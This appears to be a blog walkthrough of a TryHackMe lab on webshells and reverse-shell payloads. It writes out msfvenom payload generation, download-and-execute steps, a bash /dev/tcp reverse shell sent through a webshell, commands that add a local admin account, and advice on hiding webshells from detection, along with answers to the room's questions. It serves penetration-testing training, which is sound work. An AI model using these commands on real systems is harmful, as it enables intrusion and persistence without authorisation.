Sitemap
Gowrishankar

Gowrishankar

Application Security Engineer | Comptia Security + | ISC2 Certified CC | Software Developer

Shell Payload Generation & Delivery Walkthrough Part 2 | TryHackMe

6 min readJun 22, 2026

--

Generate , Customize , and deploy shell payloads with msfvenom , metasploit, and Webshells.

Press enter or click to view image in full size

Task 5: Webshells

Hitting environments where traditional reverse or bind shells just wouldn’t work. Firewalls blocked outbound connections, network restrictions killed one‑liners, and netcat wasn’t even an option. That’s when we turned to webshells, tiny server‑side scripts that operate entirely over HTTP/HTTPS. To monitoring tools, they look like normal web traffic, but they’re a backdoor into the server.

What Webshells Really Are

A webshell is just a script in PHP, ASP, JSP, or Python that takes commands through HTTP requests and executes them with the web server’s privileges. We send commands via URL parameters or POST data, and the output comes back as HTML. It’s simple, sneaky, and effective, especially when I need access that blends in with regular web traffic.

My First PHP Webshell

The most basic PHP webshell I used was a single line:

Press enter or click to view image in full size

Upload it, call it in the browser, and suddenly I’m running commands like:

http://target-server/uploads/shell.php?cmd=whoami
http://target-server/uploads/shell.php?cmd=ls -la /var/www/html

It felt almost too easy but incredibly powerful.

Making Webshells More Usable

Of course, I quickly learned that GET requests leave traces in logs. Switching to POST made things stealthier. Adding authentication stopped others from hijacking my shell. And depending on the target, I had to adapt: ASP.NET shells for IIS, JSP shells for Java apps, or even Python‑based ones when the environment allowed.

Turning Webshells Into Full Shells

Webshells are great for command execution, but they’re clunky compared to a real interactive shell. The trick I picked up was using the webshell to bootstrap a reverse shell. On Windows, I’d fire off a PowerShell payload through the webshell. On Linux, I’d pass a bash reverse shell command, URL‑encoded to survive HTTP transmission. Suddenly, my one‑command‑at‑a‑time webshell became a full interactive session.

Ready‑Made Webshells

I also discovered that Kali ships with a collection of webshells in /usr/share/webshells/. The PentestMonkey PHP reverse shell became a staple unlike the minimal one‑liners, it connects back directly to my listener, giving me a proper shell session.

Staying Stealthy

Webshells aren’t invisible. WAFs scan for them, file integrity monitoring flags new uploads, and logs can reveal suspicious patterns. I learned to hide them with boring filenames, place them where uploads are expected, vary my access timing, and always plan cleanup. Leaving a webshell behind after an engagement is sloppy and unacceptable.

Operational Best Practices

A few operational habits make the difference between keeping access and losing it.

  • File placement: Put webshells where uploads are expected, use boring filenames, and consider embedding code within existing legitimate files.
  • Access patterns: Vary timing and don’t hammer the webshell with rapid-fire requests. Use realistic user agents and referrer headers.
  • Command selection: Start with basic recon (whoami, id, ls) before attempting anything noisy like privilege escalation.
  • Cleanup: Always plan how we’ll remove the webshell after the engagement. Leaving backdoors in production is not acceptable, even during authorised testing.

What PHP function is used in the basic webshell to execute system commands?

shell_exec

What HTTP method helps avoid logging commands in web server access logs?

POST

What is the name of the well-known PHP reverse shell script included in Kali’s webshell collection, written by PentestMonkey?

php-reverse-shell.php

Task 6: Practical Exercises: Linux

The web server for webshell uploads is accessible at http://MACHINE_IP.

Start a netcat listener before each exercise where we are catching a shell: nc -lvnp 4444

Exercises

1. Stageless ELF Reverse Shell

Generate a stageless Linux ELF reverse shell with msfvenom and transfer it to the Linux machine using Python’s HTTP server. SSH in, download the payload, make it executable, and run it. Catch the connection with netcat.

attacker@tryhackme:~$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f elf -o shell.elf
attacker@tryhackme:~$ python3 -m http.server 8000

On the target machine:

shell@target:~$ wget http://CONNECTION_IP:8000/shell.elf -O /tmp/shell.elf
shell@target:~$ chmod +x /tmp/shell.elf && /tmp/shell.elf

2. Staged Linux Reverse Shell via multi/handler

Generate a staged Linux reverse shell with msfvenom and serve it over HTTP:

attacker@tryhackme:~$ msfvenom -p linux/x64/shell/reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f elf -o staged_shell.elf
attacker@tryhackme:~$ python3 -m http.server 8000

Then set up multi/handler in Metasploit:

attacker@tryhackme:~$ sudo msfconsole
msf6 > use multi/handler
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST CONNECTION_IP
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j

On the target machine, download and execute the payload:

shell@target:~$ wget http://CONNECTION_IP:8000/staged_shell.elf -O /tmp/staged_shell.elf
shell@target:~$ chmod +x /tmp/staged_shell.elf && /tmp/staged_shell.elf

The Sending stage message in the Metasploit console confirms the two-phase handshake is working.

3. PHP Webshell on Linux

Get Gowrishankar’s stories in your inbox

Join Medium for free to get updates from this writer.

On the AttackBox or Kali, create the webshell file using a text editor:

attacker@tryhackme:~$ nano shell.php

Paste the following into the file and save it:

Press enter or click to view image in full size

Navigate to http://MACHINE_IP and upload shell.php using the upload form. Once uploaded, test command execution in the browser:

http://MACHINE_IP/uploads/shell.php?cmd=whoami
http://MACHINE_IP/uploads/shell.php?cmd=id

4. Reverse Shell via Webshell

First, make sure the netcat listener is running on the AttackBox:

attacker@tryhackme:~$ nc -lvnp 4444

From the PHP webshell on the Linux machine, trigger a bash reverse shell back to our listener. Pass the command throughcurl, which handles URL encoding automatically.

curl -G "http://MACHINE_IP/uploads/shell.php" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/CONNECTION_IP/4444 0>&1'"

Flags explained:

  • -G: Sends the data as a GET request query string rather than a POST body
  • --data-urlencode "cmd=...": URL-encodes the value and appends it to the URL as ?cmd=...

What msfvenom format flag generates a Linux ELF binary?

-f elf

What Metasploit output confirms the staged payload two-phase handshake is working?

Sending stage

Task 7: Practical Exercises: Windows

Start a netcat listener before each exercise where we are catching a shell: nc -lvnp 4444

Exercises

1. Stageless Windows EXE

Generate a stageless Windows x64 EXE payload and serve it over HTTP:

attacker@tryhackme:~$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f exe -o shell.exe
attacker@tryhackme:~$ python3 -m http.server 8000

Start a netcat listener to catch the incoming shell:

attacker@tryhackme:~$ nc -lvnp 4444

On the Windows machine, open PowerShell and download the payload from the attacker:

PS C:\Users\Administrator> Invoke-WebRequest http://CONNECTION_IP:8000/shell.exe -OutFile C:\Users\Administrator\Desktop\shell.exe

Execute it:

PS C:\Users\Administrator> C:\Users\Administrator\Desktop\shell.exe

The netcat listener receives the connection.

2. Staged Windows Meterpreter via multi/handler

Generate a staged Windows x64 Meterpreter payload and serve it over HTTP:

attacker@tryhackme:~$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f exe -o meterpreter.exe
attacker@tryhackme:~$ python3 -m http.server 8000

Set up multi/handler in Metasploit:

attacker@tryhackme:~$ sudo msfconsole
msf6 > use multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST CONNECTION_IP
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j

On the Windows machine, download and execute the payload:

PS C:\Users\Administrator> Invoke-WebRequest http://CONNECTION_IP:8000/meterpreter.exe -OutFile C:\Users\Administrator\Desktop\meterpreter.exe
PS C:\Users\Administrator> C:\Users\Administrator\Desktop\meterpreter.exe

Interact with the session and confirm access:

msf6 exploit(multi/handler) > sessions -i 1
meterpreter > sysinfo
meterpreter > getuid

3. Windows Admin Account via Webshell

On the AttackBox, create the webshell file:

attacker@tryhackme:~$ nano shell.php

Paste the following into the file and save it:

Press enter or click to view image in full size

Navigate to http://MACHINE_IP and upload shell.php using the upload form. Once uploaded, use it to create a new local admin account. Spaces in commands must be encoded as %20:

http://MACHINE_IP/uploads/shell.php?cmd=net%20user%20pentester%20Passw0rd!%20/add
http://MACHINE_IP/uploads/shell.php?cmd=net%20localgroup%20administrators%20pentester%20/add

4. RDP Into Windows Using the New Account

Connect to the Windows machine via RDP using the account we just created:

attacker@tryhackme:~$ xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:MACHINE_IP /u:pentester /p:'Passw0rd!'

What Meterpreter command displays information about the compromised system, including OS and hostname?

sysinfo

--

--